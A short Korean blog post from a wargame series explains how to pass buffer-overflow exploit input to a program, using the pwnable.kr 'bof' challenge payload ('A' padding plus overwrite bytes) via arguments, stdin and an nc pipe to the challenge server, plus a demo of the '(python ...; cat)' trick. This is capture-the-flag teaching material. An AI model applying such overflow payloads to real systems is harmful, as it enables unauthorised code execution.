war game

입력을 통한 Exploit 코드를 실행하는 방법

jinkwon.kim 2017. 5. 4. 21:57
728x90
반응형

입력을 통한 Exploit 코드를 실행하는 방법 

Buffer Over Flow를 수행하기 위해서 실행 파일에 입력을 해야 할때가 필요하다.

이때 공격 코드를 입력하는 방법은 다음과 같다 . 


Python을 이용한 Exploit 코드 입력 방법


1) 프로그램에 실행 인자로 넘겨 줄 경우 다음과 강이 사용하면 된다.

./bof `python -c "print 'A'*52+'\xbe\xba\xfe\xca'"`


2) 프로그램 실행 중간에 입력해야 할 경우 

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | ./bof


3) nc 를 이용한 Exploit 코드를 입력하는 방법(pwnable.kr bof 문제서 사용된다)

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000


** 중요 포인트 **

python의 -c옵션을 알아 보면 python에서 사용하는 한줄 명령이라고 생각하면된다.

python 명령어 뒤의 cat의 용도는 다음과 같다.

cat을 사용하는 추가 데이터를 붙여서 Exploit 코드를 만들때 사용 할 수 있다.

다음과 같이

()로 묶은 상태에서 Python 스크립트를 이용하면 cat 에서 입력한 내용까지 다 받아드리고 난다음에 문자열이 출력된다 

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat)

()로 묶지 않으면 python 출력 내용에 추가로 데이터를 쓸수 없다. 


1) ()로 묶은 경우 

[root@client 3]# (python -c "print 'A'*40+'aa'" ;cat) > a.txt

test

^C

[root@client 3]# cat a.txt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa

test

[root@client 3]#


1) ()로 묶지 않은 경우  

[root@client 3]# python -c "print 'A'*40+'aa'" ;cat > a.txt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa

test

^C

[root@client 3]# cat a.txt

test

[root@client 3]#









728x90
반응형